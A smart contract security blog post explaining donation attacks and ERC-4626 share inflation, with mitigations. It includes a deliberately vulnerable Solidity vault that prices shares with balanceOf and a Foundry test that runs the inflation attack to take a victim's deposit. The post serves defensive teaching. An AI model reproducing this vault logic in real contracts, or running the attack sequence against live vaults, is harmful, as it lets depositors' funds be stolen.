Back to blogs
Written by
Hans
Published on
April 8, 2025

Solodit Checklist Explained (3): Donation Attacks

Learn how Donation Attacks exploit token balance assumptions in smart contracts and how to secure your protocol with internal accounting.

Table of Contents

Hey, everyone, Hans here! Welcome back to another deep dive into the Solodit Checklist. In this series, we move beyond surface-level security giving you actionable insights to fortify your smart contracts. Our goal? To empower you to level up your smart contract security game, one checklist item at a time.

Previously, we delved into Denial-of-Service (DoS) attacks (Part 1, Part 2). Now, we shift gears to a more subtle, yet potentially devastating, vulnerability: Donation Attacks.

For the best experience, open a tab with the Solodit checklist to refer to it.

The peril of Donation Attacks: Why should you care?

In the world of decentralized finance (DeFi) and smart contracts, seemingly harmless actions can be weaponized. In this context, a Donation Attack exploits vulnerabilities in how a contract manages token balances. It often stems from an incorrect state due to an assumption of external factors.

The core of the vulnerability lies in the attacker's ability to manipulate the contract's state. Imagine an attacker cleverly "donating" tokens directly to a contract instead of using the protocol's interface. This seemingly altruistic act can severely disrupt the contract's logic and lead to unfair distributions of assets, potentially harming legitimate users. The attacker can manipulate the contract's state if the protocol does not account for such direct transfers and solely relies on the token balance for accounting.

Given the complexity of the issue, today, we're focusing on a single checklist item SOL-AM-DA-1: Does the protocol rely on balance or balanceOf instead of internal accounting?

{
    "id": "SOL-AM-DA-1",
    "category": "Donation Attack",
    "question": "Does the protocol rely on `balance` or `balanceOf` instead of internal accounting?",
    "description": "Attackers can manipulate the accounting by donating tokens.",
    "remediation": "Implement internal accounting instead of relying on `balanceOf` natively.",
  }

This item aims to prevent the Donation Attack vulnerability by ensuring the protocol does not rely on external functions like balanceOf or balance for accounting. This checklist item directly relates to internal accounting - a method of accurately tracking asset ownership and balances within a smart contract. Internal accounting utilizes dedicated state variables to store and manage balances, rather than relying on external functions like balanceOf.

The vulnerability in external accounting is that anyone can send tokens directly to a contract, regardless of intended logic. If your contract uses token.balanceOf(address(this)) to calculate shares, withdrawals, or any critical value, an attacker can donate tokens, irrevocably compromising the system and potentially altering the intended outcome.

ERC-4626 share inflation: a classic Donation Attack

One of the most prominent and well-documented examples of a Donation Attack vulnerability is the ERC-4626 Share Inflation Attack

What is ERC-4626?

ERC-4626 is a standardized interface for Tokenized Vaults. Think of a vault as a smart contract where users can deposit a specific underlying asset (like USDC or wrapped ETH (WETH)) and receive "shares" representing their portion of the total assets held by the vault. These shares typically accrue value as the vault generates yield (e.g., through lending or farming strategies). The standard aims to make it easier for aggregators and users to interact with different yield-bearing vaults.

The vulnerability: where donation meets ERC-4626

Many early or naive ERC-4626 implementations calculate the number of shares to mint upon deposit based on the current total amount of the underlying asset held by the vault contract. They often determine this using asset.balanceOf(address(this)).

The core formula conceptually looks like this (simplified):

shares_to_mint = deposit_amount * total_shares / total_assets_in_vault

Here, total_assets_in_vault is frequently calculated using asset.balanceOf(address(this)). And this is where the Donation Attack vector opens up.

The Share Inflation Attack explained

This attack typically targets newly deployed ERC-4626 vaults, especially before any legitimate users have deposited funds. An attacker can manipulate the share price calculation to steal funds from the depositor(s).

Imagine a new WETH vault is created and the attack unfolds:

  1. Starting point: The vault begins empty - no shares, no WETH.

  2. Attacker's first deposit: The attacker deposits 1 WEI (of WETH) through the vault's deposit function. The vault is designed to mint 1 share for every 1 WEI deposited when the vault is empty. Hence, the attacker ends up receiving 1 WEI share. At this point, the share price is 1 WEI (of WETH) per share.

  3. The manipulation: The attacker sends 1 WETH (1e18 WEI) directly to the vault. Now, the vault holds about 1 WETH (1e18+1 WEI) but still only has 1 WEI share in circulation. At this point, the share price is almost 1e18 WEI (1 WETH) per share. (so-called "share inflation")

  4. The victim's loss: A normal user tries to deposit 0.5 WETH. The vault calculates shares using (deposit amount × total shares) ÷ total assets. This becomes 5e17 ÷ (1e18 + 1), which will round down to 0 shares. As a result, the user gets 0 shares despite depositing 0.5 WETH!

  5. The theft: The attacker withdraws their 1 WEI share, effectively taking all the assets in the vault (1.5 WETH).


The key trick is manipulating the ratio of shares to assets before real users deposit, creating a mathematical trap where deposits result in zero shares.

Why is this a Donation Attack?

The attacker can manipulate the share price by sending assets directly to the contract without proportionally increasing the totalSupply of shares.

Mitigating the ERC-4626 Share Inflation Attack

The core issue revolved around handling the very first deposit and preventing manipulation when totalSupply is zero or extremely small.

You can follow the detailed discussion on the OpenZeppelin Contracts GitHub Issue #3706. Several approaches were considered:

  1. Requiring a minimum initial deposit: Forcing the first deposit to be substantial makes the tiny donation trick less effective, but it's poor UX and doesn't fully solve the problem.

  2. Internal balance tracking: Completely ignoring asset.balanceOf and meticulously tracking deposits and withdrawals internally. This is the ideal scenario aligning with our checklist item but can add complexity and gas usage.

  3. Virtual shares/offset: This emerged as a practical and adopted solution.

The virtual offset method elegantly sidesteps the "zero totalSupply" problem. As detailed brilliantly by @Amxx in this Gist.

Essentially, the vault pretends it already had some assets and shares from the very beginning. This anchors the share price calculation and makes it resilient to the donation manipulation targeting the initial state. OpenZeppelin's ERC-4626 implementation now incorporates this virtual offset mechanism, making it much safer out of the box.

Note: The novel virtual offset method is designed to address the Share Inflation Attack while maintaining the original ERC-4626 design principles. For projects outside the scope of the ERC-4626 standard, implementing internal balance tracking would likely be more straightforward.

Example of a vulnerable vault

Below is a simplified example of a vulnerable token vault.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract TokenVault {
    IERC20 public token;
    mapping(address => uint256) public shares;
    uint256 public totalSupply;

    constructor(IERC20 _token) {
        token = _token;
    }

    function deposit(uint256 _amount) external {
        uint256 tokenBalance = token.balanceOf(address(this));
        uint256 shareAmount = 0;

        if (totalSupply == 0) {
            shareAmount = _amount;
        } else {
            shareAmount = _amount * totalSupply / tokenBalance;
        }

        shares[msg.sender] = shares[msg.sender] + shareAmount;
        totalSupply = totalSupply + shareAmount;
        token.transferFrom(msg.sender, address(this), _amount);
    }

    function withdraw(uint256 _amount) external {
        uint256 shareAmount = _amount;
        require(shares[msg.sender] >= shareAmount, "Insufficient shares");

        uint256 tokenBalance = token.balanceOf(address(this));
        uint256 amountToWithdraw = shareAmount * tokenBalance / totalSupply;

        shares[msg.sender] = shares[msg.sender] - shareAmount;
        totalSupply = totalSupply - shareAmount;
        token.transfer(msg.sender, amountToWithdraw);
    }
}


The critical flaw: The deposit and withdraw functions use token.balanceOf(address(this)) to calculate share prices and withdrawal amounts. This opens the door to a Donation Attack by allowing any actor to manipulate a state variable of the smart contract.

Below is a Foundry test case demonstrating this attack to visualize its effects:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract DonationAttackTest is Test {
    TokenVault public vault;
    TestToken public token;
    address attacker = address(1);
    address victim = address(2);

    // Initial attacker tokens
    uint256 constant ATTACKER_INITIAL_TOKENS = 10000;
    // Small amount to initially deposit
    uint256 constant ATTACKER_INITIAL_DEPOSIT = 1;
    // Large amount to donate directly
    uint256 constant ATTACKER_DONATION = 9999;
    // Victim deposit amount
    uint256 constant VICTIM_DEPOSIT = 1000;

    function setUp() public {
        token = new TestToken("Test Token", "TT");
        vault = new TokenVault(IERC20(address(token)));

        // Mint tokens for users
        token.mint(attacker, ATTACKER_INITIAL_TOKENS);
        token.mint(victim, VICTIM_DEPOSIT);

        // Approve vault to spend tokens
        vm.prank(attacker);
        token.approve(address(vault), type(uint256).max);

        vm.prank(victim);
        token.approve(address(vault), type(uint256).max);
    }

    function testDonationAttack() public {
        // ---- Step 1: Attacker deposits minimal amount ----
        console.log("INITIAL STATE:");
        console.log("Attacker token balance:", token.balanceOf(attacker));

        vm.startPrank(attacker);
        vault.deposit(ATTACKER_INITIAL_DEPOSIT);
        console.log("Attacker deposits:", ATTACKER_INITIAL_DEPOSIT);
        console.log("Attacker shares:", vault.shares(attacker));

        // Validate initial deposit
        assertEq(vault.shares(attacker), ATTACKER_INITIAL_DEPOSIT);
        assertEq(vault.totalSupply(), ATTACKER_INITIAL_DEPOSIT);
        assertEq(token.balanceOf(address(vault)), ATTACKER_INITIAL_DEPOSIT);

        // ---- Step 2: Attacker donates to inflate share price ----
        token.transfer(address(vault), ATTACKER_DONATION);
        vm.stopPrank();

        console.log("\nAFTER DONATION:");
        console.log("Vault token balance:", token.balanceOf(address(vault)));

        // Vault now has 10000 tokens (1 + 9999)
        assertEq(token.balanceOf(address(vault)), ATTACKER_INITIAL_TOKENS);

        // ---- Step 3: Victim deposits and gets almost no shares ----
        vm.prank(victim);
        vault.deposit(VICTIM_DEPOSIT);

        uint256 victimShares = vault.shares(victim);
        console.log("\nVICTIM DEPOSITS:");
        console.log("Victim deposits:", VICTIM_DEPOSIT);
        console.log("Victim shares:", victimShares);

        // Total tokens in vault
        console.log("Total tokens in vault:", token.balanceOf(address(vault)));

        // ---- Step 4: Attacker withdraws and gets profit ----
        vm.prank(attacker);
        vault.withdraw(ATTACKER_INITIAL_DEPOSIT);

        uint256 attackerFinalBalance = token.balanceOf(attacker);
        console.log("\nATTACKER WITHDRAWS:");
        console.log("Attacker initial deposit:", ATTACKER_INITIAL_DEPOSIT);
        console.log("Attacker final balance after withdrawal:", attackerFinalBalance);

        // Since the attacker has 1 share out of 1 total shares (victim got 0),
        // they should get all of the vault's balance including the victim's deposit
        // (1 + 9999 + 1000) = 11000 tokens
        // Which is much more than their initial 1 token deposit
        assertTrue(attackerFinalBalance > ATTACKER_INITIAL_TOKENS);

        // Calculate profit from the attack
        uint256 profit = attackerFinalBalance - ATTACKER_INITIAL_TOKENS;
        console.log("Attacker profit:", profit);

    }
}

Conclusion

The takeaway? Be wary of your accounting methods. Internal accounting offers enhanced security and protection against Donation Attacks. Implement it in your smart contracts, track balances internally, and make your code robust against unforeseen token transfers.

While Donation Attacks might seem specific, the underlying principle applies across various smart contract security cases: never implicitly trust external data sources. Always verify and control the data your contract relies on to ensure it remains secure and functions as designed.

I hope this deep dive into Donation Attacks strengthens your understanding of smart contract security. Stay vigilant, keep learning, and focus on building secure, reliable code.

Secure your protocol today

Join some of the biggest protocols and companies in creating a better internet. Our security researchers will help you throughout the whole process.
Stay on the bleeding edge of security
Carefully crafted, short smart contract security tips and news freshly delivered every week.